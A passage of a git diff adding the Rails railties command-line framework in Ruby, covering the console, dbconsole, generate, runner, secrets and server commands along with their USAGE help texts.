+          @lookup_paths ||= %w( rails/commands commands )
+        end
+
+        def file_lookup_paths # :doc:
+          @file_lookup_paths ||= [ "{#{lookup_paths.join(',')}}", "**", "*_command.rb" ]
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/command/actions.rb b/railties/lib/rails/command/actions.rb
new file mode 100644
index 0000000000..a00e58997c
--- /dev/null
+++ b/railties/lib/rails/command/actions.rb
@@ -0,0 +1,42 @@
+module Rails
+  module Command
+    module Actions
+      # Change to the application's path if there is no config.ru file in current directory.
+      # This allows us to run `rails server` from other directories, but still get
+      # the main config.ru and properly set the tmp directory.
+      def set_application_directory!
+        Dir.chdir(File.expand_path("../..", APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+      end
+
+      def require_application_and_environment!
+        require ENGINE_PATH if defined?(ENGINE_PATH)
+
+        if defined?(APP_PATH)
+          require APP_PATH
+          Rails.application.require_environment!
+        end
+      end
+
+      if defined?(ENGINE_PATH)
+        def load_tasks
+          Rake.application.init("rails")
+          Rake.application.load_rakefile
+        end
+
+        def load_generators
+          engine = ::Rails::Engine.find(ENGINE_ROOT)
+          Rails::Generators.namespace = engine.railtie_namespace
+          engine.load_generators
+        end
+      else
+        def load_tasks
+          Rails.application.load_tasks
+        end
+
+        def load_generators
+          Rails.application.load_generators
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/command/base.rb b/railties/lib/rails/command/base.rb
new file mode 100644
index 0000000000..cd0720be4e
--- /dev/null
+++ b/railties/lib/rails/command/base.rb
@@ -0,0 +1,155 @@
+require "thor"
+require "erb"
+
+require "active_support/core_ext/string/filters"
+require "active_support/core_ext/string/inflections"
+
+require_relative "actions"
+
+module Rails
+  module Command
+    class Base < Thor
+      class Error < Thor::Error # :nodoc:
+      end
+
+      include Actions
+
+      class << self
+        # Returns true when the app is a Rails engine.
+        def engine?
+          defined?(ENGINE_ROOT)
+        end
+
+        # Tries to get the description from a USAGE file one folder above the command
+        # root.
+        def desc(usage = nil, description = nil, options = {})
+          if usage
+            super
+          else
+            @desc ||= ERB.new(File.read(usage_path)).result(binding) if usage_path
+          end
+        end
+
+        # Convenience method to get the namespace from the class name. It's the
+        # same as Thor default except that the Command at the end of the class
+        # is removed.
+        def namespace(name = nil)
+          if name
+            super
+          else
+            @namespace ||= super.chomp("_command").sub(/:command:/, ":")
+          end
+        end
+
+        # Convenience method to hide this command from the available ones when
+        # running rails command.
+        def hide_command!
+          Rails::Command.hidden_commands << self
+        end
+
+        def inherited(base) #:nodoc:
+          super
+
+          if base.name && base.name !~ /Base$/
+            Rails::Command.subclasses << base
+          end
+        end
+
+        def perform(command, args, config) # :nodoc:
+          if Rails::Command::HELP_MAPPINGS.include?(args.first)
+            command, args = "help", []
+          end
+
+          dispatch(command, args.dup, nil, config)
+        end
+
+        def printing_commands
+          namespaced_commands
+        end
+
+        def executable
+          "bin/rails #{command_name}"
+        end
+
+        # Use Rails' default banner.
+        def banner(*)
+          "#{executable} #{arguments.map(&:usage).join(' ')} [options]".squish!
+        end
+
+        # Sets the base_name taking into account the current class namespace.
+        #
+        #   Rails::Command::TestCommand.base_name # => 'rails'
+        def base_name
+          @base_name ||= begin
+            if base = name.to_s.split("::").first
+              base.underscore
+            end
+          end
+        end
+
+        # Return command name without namespaces.
+        #
+        #   Rails::Command::TestCommand.command_name # => 'test'
+        def command_name
+          @command_name ||= begin
+            if command = name.to_s.split("::").last
+              command.chomp!("Command")
+              command.underscore
+            end
+          end
+        end
+
+        # Path to lookup a USAGE description in a file.
+        def usage_path
+          if default_command_root
+            path = File.join(default_command_root, "USAGE")
+            path if File.exist?(path)
+          end
+        end
+
+        # Default file root to place extra files a command might need, placed
+        # one folder above the command file.
+        #
+        # For a `Rails::Command::TestCommand` placed in `rails/command/test_command.rb`
+        # would return `rails/test`.
+        def default_command_root
+          path = File.expand_path(File.join("../commands", command_root_namespace), __dir__)
+          path if File.exist?(path)
+        end
+
+        private
+          # Allow the command method to be called perform.
+          def create_command(meth)
+            if meth == "perform"
+              alias_method command_name, meth
+            else
+              # Prevent exception about command without usage.
+              # Some commands define their documentation differently.
+              @usage ||= ""
+              @desc  ||= ""
+
+              super
+            end
+          end
+
+          def command_root_namespace
+            (namespace.split(":") - %w( rails )).first
+          end
+
+          def namespaced_commands
+            commands.keys.map do |key|
+              key == command_root_namespace ? key : "#{command_root_namespace}:#{key}"
+            end
+          end
+      end
+
+      def help
+        if command_name = self.class.command_name
+          self.class.command_help(shell, command_name)
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/command/behavior.rb b/railties/lib/rails/command/behavior.rb
new file mode 100644
index 0000000000..4a92f72f16
--- /dev/null
+++ b/railties/lib/rails/command/behavior.rb
@@ -0,0 +1,123 @@
+require "active_support"
+
+module Rails
+  module Command
+    module Behavior #:nodoc:
+      extend ActiveSupport::Concern
+
+      class_methods do
+        # Remove the color from output.
+        def no_color!
+          Thor::Base.shell = Thor::Shell::Basic
+        end
+
+        # Track all command subclasses.
+        def subclasses
+          @subclasses ||= []
+        end
+
+        private
+
+          # This code is based directly on the Text gem implementation.
+          # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher.
+          #
+          # Returns a value representing the "cost" of transforming str1 into str2.
+          def levenshtein_distance(str1, str2) # :doc:
+            s = str1
+            t = str2
+            n = s.length
+            m = t.length
+
+            return m if (0 == n)
+            return n if (0 == m)
+
+            d = (0..m).to_a
+            x = nil
+
+            # avoid duplicating an enumerable object in the loop
+            str2_codepoint_enumerable = str2.each_codepoint
+
+            str1.each_codepoint.with_index do |char1, i|
+              e = i + 1
+
+              str2_codepoint_enumerable.with_index do |char2, j|
+                cost = (char1 == char2) ? 0 : 1
+                x = [
+                     d[j + 1] + 1, # insertion
+                     e + 1,      # deletion
+                     d[j] + cost # substitution
+                    ].min
+                d[j] = e
+                e = x
+              end
+
+              d[m] = x
+            end
+
+            x
+          end
+
+          # Prints a list of generators.
+          def print_list(base, namespaces)
+            return if namespaces.empty?
+            puts "#{base.camelize}:"
+
+            namespaces.each do |namespace|
+              puts("  #{namespace}")
+            end
+
+            puts
+          end
+
+          # Receives namespaces in an array and tries to find matching generators
+          # in the load path.
+          def lookup(namespaces)
+            paths = namespaces_to_paths(namespaces)
+
+            paths.each do |raw_path|
+              lookup_paths.each do |base|
+                path = "#{base}/#{raw_path}_#{command_type}"
+
+                begin
+                  require path
+                  return
+                rescue LoadError => e
+                  raise unless e.message =~ /#{Regexp.escape(path)}$/
+                rescue Exception => e
+                  warn "[WARNING] Could not load #{command_type} #{path.inspect}. Error: #{e.message}.\n#{e.backtrace.join("\n")}"
+                end
+              end
+            end
+          end
+
+          # This will try to load any command in the load path to show in help.
+          def lookup!
+            $LOAD_PATH.each do |base|
+              Dir[File.join(base, *file_lookup_paths)].each do |path|
+                begin
+                  path = path.sub("#{base}/", "")
+                  require path
+                rescue Exception
+                  # No problem
+                end
+              end
+            end
+          end
+
+          # Convert namespaces to paths by replacing ":" for "/" and adding
+          # an extra lookup. For example, "rails:model" should be searched
+          # in both: "rails/model/model_generator" and "rails/model_generator".
+          def namespaces_to_paths(namespaces)
+            paths = []
+            namespaces.each do |namespace|
+              pieces = namespace.split(":")
+              paths << pieces.dup.push(pieces.last).join("/")
+              paths << pieces.join("/")
+            end
+            paths.uniq!
+            paths
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/command/environment_argument.rb b/railties/lib/rails/command/environment_argument.rb
new file mode 100644
index 0000000000..9582509840
--- /dev/null
+++ b/railties/lib/rails/command/environment_argument.rb
@@ -0,0 +1,45 @@
+require "active_support"
+
+module Rails
+  module Command
+    module EnvironmentArgument #:nodoc:
+      extend ActiveSupport::Concern
+
+      included do
+        argument :environment, optional: true, banner: "environment"
+
+        class_option :environment, aliases: "-e", type: :string,
+          desc: "Specifies the environment to run this console under (test/development/production)."
+      end
+
+      private
+        def extract_environment_option_from_argument
+          if environment
+            self.options = options.merge(environment: acceptable_environment(environment))
+
+            ActiveSupport::Deprecation.warn "Passing the environment's name as a " \
+                                            "regular argument is deprecated and "  \
+                                            "will be removed in the next Rails "   \
+                                            "version. Please, use the -e option "  \
+                                            "instead."
+          elsif options[:environment]
+            self.options = options.merge(environment: acceptable_environment(options[:environment]))
+          else
+            self.options = options.merge(environment: Rails::Command.environment)
+          end
+        end
+
+        def acceptable_environment(env = nil)
+          if available_environments.include? env
+            env
+          else
+            %w( production development test ).detect { |e| e =~ /^#{env}/ } || env
+          end
+        end
+
+        def available_environments
+          Dir["config/environments/*.rb"].map { |fname| File.basename(fname, ".*") }
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
new file mode 100644
index 0000000000..a33e2778d4
--- /dev/null
+++ b/railties/lib/rails/commands.rb
@@ -0,0 +1,16 @@
+require_relative "command"
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner",
+  "t"  => "test"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+Rails::Command.invoke command, ARGV
diff --git a/railties/lib/rails/commands/application/application_command.rb b/railties/lib/rails/commands/application/application_command.rb
new file mode 100644
index 0000000000..e92daf9be6
--- /dev/null
+++ b/railties/lib/rails/commands/application/application_command.rb
@@ -0,0 +1,29 @@
+require_relative "../../generators"
+require_relative "../../generators/rails/app/app_generator"
+
+module Rails
+  module Generators
+    class AppGenerator # :nodoc:
+      # We want to exit on failure to be kind to other libraries
+      # This is only when accessing via CLI
+      def self.exit_on_failure?
+        true
+      end
+    end
+  end
+
+  module Command
+    class ApplicationCommand < Base # :nodoc:
+      hide_command!
+
+      def help
+        perform # Punt help output to the generator.
+      end
+
+      def perform(*args)
+        Rails::Generators::AppGenerator.start \
+          Rails::Generators::ARGVScrubber.new(args).prepare!
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/console/console_command.rb b/railties/lib/rails/commands/console/console_command.rb
new file mode 100644
index 0000000000..6f9a1f022b
--- /dev/null
+++ b/railties/lib/rails/commands/console/console_command.rb
@@ -0,0 +1,98 @@
+require "irb"
+require "irb/completion"
+
+require_relative "../../command/environment_argument"
+
+module Rails
+  class Console
+    module BacktraceCleaner
+      def filter_backtrace(bt)
+        if result = super
+          Rails.backtrace_cleaner.filter([result]).first
+        end
+      end
+    end
+
+    def self.start(*args)
+      new(*args).start
+    end
+
+    attr_reader :options, :app, :console
+
+    def initialize(app, options = {})
+      @app     = app
+      @options = options
+
+      app.sandbox = sandbox?
+      app.load_console
+
+      @console = app.config.console || IRB
+
+      if @console == IRB
+        IRB::WorkSpace.prepend(BacktraceCleaner)
+      end
+    end
+
+    def sandbox?
+      options[:sandbox]
+    end
+
+    def environment
+      options[:environment]
+    end
+    alias_method :environment?, :environment
+
+    def set_environment!
+      Rails.env = environment
+    end
+
+    def start
+      set_environment! if environment?
+
+      if sandbox?
+        puts "Loading #{Rails.env} environment in sandbox (Rails #{Rails.version})"
+        puts "Any modifications you make will be rolled back on exit"
+      else
+        puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
+      end
+
+      if defined?(console::ExtendCommandBundle)
+        console::ExtendCommandBundle.include(Rails::ConsoleMethods)
+      end
+      console.start
+    end
+  end
+
+  module Command
+    class ConsoleCommand < Base # :nodoc:
+      include EnvironmentArgument
+
+      class_option :sandbox, aliases: "-s", type: :boolean, default: false,
+        desc: "Rollback database modifications on exit."
+
+      def initialize(args = [], local_options = {}, config = {})
+        console_options = []
+
+        # For the same behavior as OptionParser, leave only options after "--" in ARGV.
+        termination = local_options.find_index("--")
+        if termination
+          console_options = local_options[termination + 1..-1]
+          local_options = local_options[0...termination]
+        end
+
+        ARGV.replace(console_options)
+        super(args, local_options, config)
+      end
+
+      def perform
+        extract_environment_option_from_argument
+
+        # RAILS_ENV needs to be set before config/application is required.
+        ENV["RAILS_ENV"] = options[:environment]
+
+        require_application_and_environment!
+        Rails::Console.start(Rails.application, options)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/dbconsole/dbconsole_command.rb b/railties/lib/rails/commands/dbconsole/dbconsole_command.rb
new file mode 100644
index 0000000000..71b3455473
--- /dev/null
+++ b/railties/lib/rails/commands/dbconsole/dbconsole_command.rb
@@ -0,0 +1,168 @@
+require_relative "../../command/environment_argument"
+
+module Rails
+  class DBConsole
+    def self.start(*args)
+      new(*args).start
+    end
+
+    def initialize(options = {})
+      @options = options
+    end
+
+    def start
+      ENV["RAILS_ENV"] ||= @options[:environment] || environment
+
+      case config["adapter"]
+      when /^(jdbc)?mysql/
+        args = {
+          "host"      => "--host",
+          "port"      => "--port",
+          "socket"    => "--socket",
+          "username"  => "--user",
+          "encoding"  => "--default-character-set",
+          "sslca"     => "--ssl-ca",
+          "sslcert"   => "--ssl-cert",
+          "sslcapath" => "--ssl-capath",
+          "sslcipher" => "--ssl-cipher",
+          "sslkey"    => "--ssl-key"
+        }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
+
+        if config["password"] && @options["include_password"]
+          args << "--password=#{config['password']}"
+        elsif config["password"] && !config["password"].to_s.empty?
+          args << "-p"
+        end
+
+        args << config["database"]
+
+        find_cmd_and_exec(["mysql", "mysql5"], *args)
+
+      when /^postgres|^postgis/
+        ENV["PGUSER"]     = config["username"] if config["username"]
+        ENV["PGHOST"]     = config["host"] if config["host"]
+        ENV["PGPORT"]     = config["port"].to_s if config["port"]
+        ENV["PGPASSWORD"] = config["password"].to_s if config["password"] && @options["include_password"]
+        find_cmd_and_exec("psql", config["database"])
+
+      when "sqlite3"
+        args = []
+
+        args << "-#{@options['mode']}" if @options["mode"]
+        args << "-header" if @options["header"]
+        args << File.expand_path(config["database"], Rails.respond_to?(:root) ? Rails.root : nil)
+
+        find_cmd_and_exec("sqlite3", *args)
+
+      when "oracle", "oracle_enhanced"
+        logon = ""
+
+        if config["username"]
+          logon = config["username"]
+          logon << "/#{config['password']}" if config["password"] && @options["include_password"]
+          logon << "@#{config['database']}" if config["database"]
+        end
+
+        find_cmd_and_exec("sqlplus", logon)
+
+      when "sqlserver"
+        args = []
+
+        args += ["-D", "#{config['database']}"] if config["database"]
+        args += ["-U", "#{config['username']}"] if config["username"]
+        args += ["-P", "#{config['password']}"] if config["password"]
+
+        if config["host"]
+          host_arg = "#{config['host']}"
+          host_arg << ":#{config['port']}" if config["port"]
+          args += ["-S", host_arg]
+        end
+
+        find_cmd_and_exec("sqsh", *args)
+
+      else
+        abort "Unknown command-line client for #{config['database']}."
+      end
+    end
+
+    def config
+      @config ||= begin
+        # We need to check whether the user passed the connection the
+        # first time around to show a consistent error message to people
+        # relying on 2-level database configuration.
+        if @options["connection"] && configurations[connection].blank?
+          raise ActiveRecord::AdapterNotSpecified, "'#{connection}' connection is not configured. Available configuration: #{configurations.inspect}"
+        elsif configurations[environment].blank? && configurations[connection].blank?
+          raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+        else
+          configurations[environment].presence || configurations[connection]
+        end
+      end
+    end
+
+    def environment
+      Rails.respond_to?(:env) ? Rails.env : Rails::Command.environment
+    end
+
+    def connection
+      @options.fetch(:connection, "primary")
+    end
+
+    private
+      def configurations # :doc:
+        require APP_PATH
+        ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+        ActiveRecord::Base.configurations
+      end
+
+      def find_cmd_and_exec(commands, *args) # :doc:
+        commands = Array(commands)
+
+        dirs_on_path = ENV["PATH"].to_s.split(File::PATH_SEPARATOR)
+        unless (ext = RbConfig::CONFIG["EXEEXT"]).empty?
+          commands = commands.map { |cmd| "#{cmd}#{ext}" }
+        end
+
+        full_path_command = nil
+        found = commands.detect do |cmd|
+          dirs_on_path.detect do |path|
+            full_path_command = File.join(path, cmd)
+            File.file?(full_path_command) && File.executable?(full_path_command)
+          end
+        end
+
+        if found
+          exec full_path_command, *args
+        else
+          abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+        end
+      end
+  end
+
+  module Command
+    class DbconsoleCommand < Base # :nodoc:
+      include EnvironmentArgument
+
+      class_option :include_password, aliases: "-p", type: :boolean,
+        desc: "Automatically provide the password from database.yml"
+
+      class_option :mode, enum: %w( html list line column ), type: :string,
+        desc: "Automatically put the sqlite3 database in the specified mode (html, list, line, column)."
+
+      class_option :header, type: :boolean
+
+      class_option :connection, aliases: "-c", type: :string,
+        desc: "Specifies the connection to use."
+
+      def perform
+        extract_environment_option_from_argument
+
+        # RAILS_ENV needs to be set before config/application is required.
+        ENV["RAILS_ENV"] = options[:environment]
+
+        require_application_and_environment!
+        Rails::DBConsole.start(options)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/destroy/destroy_command.rb b/railties/lib/rails/commands/destroy/destroy_command.rb
new file mode 100644
index 0000000000..8a6fe67f77
--- /dev/null
+++ b/railties/lib/rails/commands/destroy/destroy_command.rb
@@ -0,0 +1,26 @@
+require_relative "../../generators"
+
+module Rails
+  module Command
+    class DestroyCommand < Base # :nodoc:
+      no_commands do
+        def help
+          require_application_and_environment!
+          load_generators
+
+          Rails::Generators.help self.class.command_name
+        end
+      end
+
+      def perform(*)
+        generator = args.shift
+        return help unless generator
+
+        require_application_and_environment!
+        load_generators
+
+        Rails::Generators.invoke generator, args, behavior: :revoke, destination_root: Rails::Command.root
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/generate/generate_command.rb b/railties/lib/rails/commands/generate/generate_command.rb
new file mode 100644
index 0000000000..c2089dbcb7
--- /dev/null
+++ b/railties/lib/rails/commands/generate/generate_command.rb
@@ -0,0 +1,28 @@
+require_relative "../../generators"
+
+module Rails
+  module Command
+    class GenerateCommand < Base # :nodoc:
+      no_commands do
+        def help
+          require_application_and_environment!
+          load_generators
+
+          Rails::Generators.help self.class.command_name
+        end
+      end
+
+      def perform(*)
+        generator = args.shift
+        return help unless generator
+
+        require_application_and_environment!
+        load_generators
+
+        ARGV.shift
+
+        Rails::Generators.invoke generator, args, behavior: :invoke, destination_root: Rails::Command.root
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/help/USAGE b/railties/lib/rails/commands/help/USAGE
new file mode 100644
index 0000000000..8eb98319d2
--- /dev/null
+++ b/railties/lib/rails/commands/help/USAGE
@@ -0,0 +1,16 @@
+The most common rails commands are:
+ generate     Generate new code (short-cut alias: "g")
+ console      Start the Rails console (short-cut alias: "c")
+ server       Start the Rails server (short-cut alias: "s")
+ test         Run tests except system tests (short-cut alias: "t")
+ test:system  Run system tests
+ dbconsole    Start a console for the database specified in config/database.yml
+              (short-cut alias: "db")
+<% unless engine? %>
+ new          Create a new Rails application. "rails new my_app" creates a
+              new application called MyApp in "./my_app"
+<% end %>
+
+All commands can be run with -h (or --help) for more information.
+In addition to those commands, there are:
+
diff --git a/railties/lib/rails/commands/help/help_command.rb b/railties/lib/rails/commands/help/help_command.rb
new file mode 100644
index 0000000000..90d37217fc
--- /dev/null
+++ b/railties/lib/rails/commands/help/help_command.rb
@@ -0,0 +1,13 @@
+module Rails
+  module Command
+    class HelpCommand < Base # :nodoc:
+      hide_command!
+
+      def help(*)
+        puts self.class.desc
+
+        Rails::Command.print_commands
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/new/new_command.rb b/railties/lib/rails/commands/new/new_command.rb
new file mode 100644
index 0000000000..207dd5d995
--- /dev/null
+++ b/railties/lib/rails/commands/new/new_command.rb
@@ -0,0 +1,17 @@
+module Rails
+  module Command
+    class NewCommand < Base # :nodoc:
+      no_commands do
+        def help
+          Rails::Command.invoke :application, [ "--help" ]
+        end
+      end
+
+      def perform(*)
+        puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+        puts "Type 'rails' for help."
+        exit 1
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/plugin/plugin_command.rb b/railties/lib/rails/commands/plugin/plugin_command.rb
new file mode 100644
index 0000000000..e915a24e5b
--- /dev/null
+++ b/railties/lib/rails/commands/plugin/plugin_command.rb
@@ -0,0 +1,43 @@
+module Rails
+  module Command
+    class PluginCommand < Base # :nodoc:
+      hide_command!
+
+      def help
+        run_plugin_generator %w( --help )
+      end
+
+      def self.banner(*) # :nodoc:
+        "#{executable} new [options]"
+      end
+
+      class_option :rc, type: :string, default: File.join("~", ".railsrc"),
+        desc: "Initialize the plugin command with previous defaults. Uses .railsrc in your home directory by default."
+
+      class_option :no_rc, desc: "Skip evaluating .railsrc."
+
+      def perform(type = nil, *plugin_args)
+        plugin_args << "--help" unless type == "new"
+
+        unless options.key?("no_rc") # Thor's not so indifferent access hash.
+          railsrc = File.expand_path(options[:rc])
+
+          if File.exist?(railsrc)
+            extra_args = File.read(railsrc).split(/\n+/).flat_map(&:split)
+            puts "Using #{extra_args.join(" ")} from #{railsrc}"
+            plugin_args.insert(1, *extra_args)
+          end
+        end
+
+        run_plugin_generator plugin_args
+      end
+
+      private
+        def run_plugin_generator(plugin_args)
+          require_relative "../../generators"
+          require_relative "../../generators/rails/plugin/plugin_generator"
+          Rails::Generators::PluginGenerator.start plugin_args
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/rake/rake_command.rb b/railties/lib/rails/commands/rake/rake_command.rb
new file mode 100644
index 0000000000..075b1fd23d
--- /dev/null
+++ b/railties/lib/rails/commands/rake/rake_command.rb
@@ -0,0 +1,49 @@
+module Rails
+  module Command
+    class RakeCommand < Base # :nodoc:
+      extend Rails::Command::Actions
+
+      namespace "rake"
+
+      class << self
+        def printing_commands
+          formatted_rake_tasks.map(&:first)
+        end
+
+        def perform(task, *)
+          require_rake
+
+          ARGV.unshift(task) # Prepend the task, so Rake knows how to run it.
+
+          Rake.application.standard_exception_handling do
+            Rake.application.init("rails")
+            Rake.application.load_rakefile
+            Rake.application.top_level
+          end
+        end
+
+        private
+          def rake_tasks
+            require_rake
+
+            return @rake_tasks if defined?(@rake_tasks)
+
+            require_application_and_environment!
+
+            Rake::TaskManager.record_task_metadata = true
+            Rake.application.instance_variable_set(:@name, "rails")
+            load_tasks
+            @rake_tasks = Rake.application.tasks.select(&:comment)
+          end
+
+          def formatted_rake_tasks
+            rake_tasks.map { |t| [ t.name_with_args, t.comment ] }
+          end
+
+          def require_rake
+            require "rake" # Defer booting Rake until we know it's needed.
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/runner/USAGE b/railties/lib/rails/commands/runner/USAGE
new file mode 100644
index 0000000000..24b60037f0
--- /dev/null
+++ b/railties/lib/rails/commands/runner/USAGE
@@ -0,0 +1,20 @@
+Examples:
+
+Run `puts Rails.env` after loading the app:
+
+  <%= executable %> 'puts Rails.env'
+
+Run the Ruby file located at `path/to/filename.rb` after loading the app:
+
+  <%= executable %> path/to/filename.rb
+
+Run the Ruby script read from stdin after loading the app:
+  <%= executable %> -
+
+<% unless Gem.win_platform? %>
+You can also use the runner command as a shebang line for your executables:
+
+  #!/usr/bin/env <%= File.expand_path(executable) %>
+
+  Product.all.each { |p| p.price *= 2 ; p.save! }
+<% end %>
diff --git a/railties/lib/rails/commands/runner/runner_command.rb b/railties/lib/rails/commands/runner/runner_command.rb
new file mode 100644
index 0000000000..c931fc2152
--- /dev/null
+++ b/railties/lib/rails/commands/runner/runner_command.rb
@@ -0,0 +1,51 @@
+module Rails
+  module Command
+    class RunnerCommand < Base # :nodoc:
+      class_option :environment, aliases: "-e", type: :string,
+        default: Rails::Command.environment.dup,
+        desc: "The environment for the runner to operate under (test/development/production)"
+
+      no_commands do
+        def help
+          super
+          puts self.class.desc
+        end
+      end
+
+      def self.banner(*)
+        "#{super} [<'Some.ruby(code)'> | <filename.rb> | -]"
+      end
+
+      def perform(code_or_file = nil, *command_argv)
+        unless code_or_file
+          help
+          exit 1
+        end
+
+        ENV["RAILS_ENV"] = options[:environment]
+
+        require_application_and_environment!
+        Rails.application.load_runner
+
+        ARGV.replace(command_argv)
+
+        if code_or_file == "-"
+          eval($stdin.read, binding, "stdin")
+        elsif File.exist?(code_or_file)
+          $0 = code_or_file
+          Kernel.load code_or_file
+        else
+          begin
+            eval(code_or_file, binding, __FILE__, __LINE__)
+          rescue SyntaxError, NameError => error
+            $stderr.puts "Please specify a valid ruby command or the path of a script to run."
+            $stderr.puts "Run '#{self.class.executable} -h' for help."
+            $stderr.puts
+            $stderr.puts error
+            exit 1
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/secrets/USAGE b/railties/lib/rails/commands/secrets/USAGE
new file mode 100644
index 0000000000..96e322fe91
--- /dev/null
+++ b/railties/lib/rails/commands/secrets/USAGE
@@ -0,0 +1,60 @@
+=== Storing Encrypted Secrets in Source Control
+
+The Rails `secrets` commands helps encrypting secrets to slim a production
+environment's `ENV` hash. It's also useful for atomic deploys: no need to
+coordinate key changes to get everything working as the keys are shipped
+with the code.
+
+=== Setup
+
+Run `bin/rails secrets:setup` to opt in and generate the `config/secrets.yml.key`
+and `config/secrets.yml.enc` files.
+
+The latter contains all the keys to be encrypted while the former holds the
+encryption key.
+
+Don't lose the key! Put it in a password manager your team can access.
+Should you lose it no one, including you, will be able to access any encrypted
+secrets.
+Don't commit the key! Add `config/secrets.yml.key` to your source control's
+ignore file. If you use Git, Rails handles this for you.
+
+Rails also looks for the key in `ENV["RAILS_MASTER_KEY"]` if that's easier to
+manage.
+
+You could prepend that to your server's start command like this:
+
+   RAILS_MASTER_KEY="im-the-master-now-hahaha" server.start
+
+
+The `config/secrets.yml.enc` has much the same format as `config/secrets.yml`:
+
+   production:
+     secret_key_base: so-secret-very-hidden-wow
+     payment_processing_gateway_key: much-safe-very-gaedwey-wow
+
+But that's where the similarities between `secrets.yml` and `secrets.yml.enc`
+end, e.g. no keys from `secrets.yml` will be moved to `secrets.yml.enc` and
+be encrypted.
+
+A `shared:` top level key is also supported such that any keys there is merged
+into the other environments.
+
+Additionally, Rails won't read encrypted secrets out of the box even if you have
+the key. Add this:
+
+   config.read_encrypted_secrets = true
+
+to the environment you'd like to read encrypted secrets. `bin/rails secrets:setup`
+inserts this into the production environment by default.
+
+=== Editing Secrets
+
+After `bin/rails secrets:setup`, run `bin/rails secrets:edit`.
+
+That command opens a temporary file in `$EDITOR` with the decrypted contents of
+`config/secrets.yml.enc` to edit the encrypted secrets.
+
+When the temporary file is next saved the contents are encrypted and written to
+`config/secrets.yml.enc` while the file itself is destroyed to prevent secrets
+from leaking.
diff --git a/railties/lib/rails/commands/secrets/secrets_command.rb b/railties/lib/rails/commands/secrets/secrets_command.rb
new file mode 100644
index 0000000000..45e02fa730
--- /dev/null
+++ b/railties/lib/rails/commands/secrets/secrets_command.rb
@@ -0,0 +1,64 @@
+require "active_support"
+require_relative "../../secrets"
+
+module Rails
+  module Command
+    class SecretsCommand < Rails::Command::Base # :nodoc:
+      no_commands do
+        def help
+          say "Usage:\n  #{self.class.banner}"
+          say ""
+          say self.class.desc
+        end
+      end
+
+      def setup
+        generator.start
+      end
+
+      def edit
+        if ENV["EDITOR"].to_s.empty?
+          say "No $EDITOR to open decrypted secrets in. Assign one like this:"
+          say ""
+          say %(EDITOR="mate --wait" bin/rails secrets:edit)
+          say ""
+          say "For editors that fork and exit immediately, it's important to pass a wait flag,"
+          say "otherwise the secrets will be saved immediately with no chance to edit."
+
+          return
+        end
+
+        require_application_and_environment!
+
+        Rails::Secrets.read_for_editing do |tmp_path|
+          system("#{ENV["EDITOR"]} #{tmp_path}")
+        end
+
+        say "New secrets encrypted and saved."
+      rescue Interrupt
+        say "Aborted changing encrypted secrets: nothing saved."
+      rescue Rails::Secrets::MissingKeyError => error
+        say error.message
+      rescue Errno::ENOENT => error
+        raise unless error.message =~ /secrets\.yml\.enc/
+
+        Rails::Secrets.read_template_for_editing do |tmp_path|
+          system("#{ENV["EDITOR"]} #{tmp_path}")
+          generator.skip_secrets_file { setup }
+        end
+      end
+
+      def show
+        say Rails::Secrets.read
+      end
+
+      private
+        def generator
+          require_relative "../../generators"
+          require_relative "../../generators/rails/encrypted_secrets/encrypted_secrets_generator"
+
+          Rails::Generators::EncryptedSecretsGenerator
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/server/server_command.rb b/railties/lib/rails/commands/server/server_command.rb
new file mode 100644
index 0000000000..ce258341f6
--- /dev/null
+++ b/railties/lib/rails/commands/server/server_command.rb
@@ -0,0 +1,228 @@
+require "fileutils"
+require "optparse"
+require "action_dispatch"
+require "rails"
+require_relative "../../dev_caching"
+
+module Rails
+  class Server < ::Rack::Server
+    class Options
+      def parse!(args)
+        Rails::Command::ServerCommand.new([], args).server_options
+      end
+    end
+
+    def initialize(options = nil)
+      @default_options = options || {}
+      super(@default_options)
+      set_environment
+    end
+
+    # TODO: this is no longer required but we keep it for the moment to support older config.ru files.
+    def app
+      @app ||= begin
+        app = super
+        app.respond_to?(:to_app) ? app.to_app : app
+      end
+    end
+
+    def opt_parser
+      Options.new
+    end
+
+    def set_environment
+      ENV["RAILS_ENV"] ||= options[:environment]
+    end
+
+    def start
+      print_boot_information
+      trap(:INT) { exit }
+      create_tmp_directories
+      setup_dev_caching
+      log_to_stdout if options[:log_stdout]
+
+      super
+    ensure
+      # The '-h' option calls exit before @options is set.
+      # If we call 'options' with it unset, we get double help banners.
+      puts "Exiting" unless @options && options[:daemonize]
+    end
+
+    def middleware
+      Hash.new([])
+    end
+
+    def default_options
+      super.merge(@default_options)
+    end
+
+    private
+      def setup_dev_caching
+        if options[:environment] == "development"
+          Rails::DevCaching.enable_by_argument(options[:caching])
+        end
+      end
+
+      def print_boot_information
